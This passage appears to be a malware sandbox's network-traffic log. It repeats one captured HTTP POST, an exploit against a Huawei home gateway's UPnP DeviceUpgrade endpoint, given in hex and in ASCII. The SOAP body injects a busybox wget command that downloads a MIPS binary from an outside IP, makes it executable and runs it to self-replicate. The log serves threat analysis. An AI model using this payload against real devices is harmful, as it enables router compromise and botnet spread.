4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 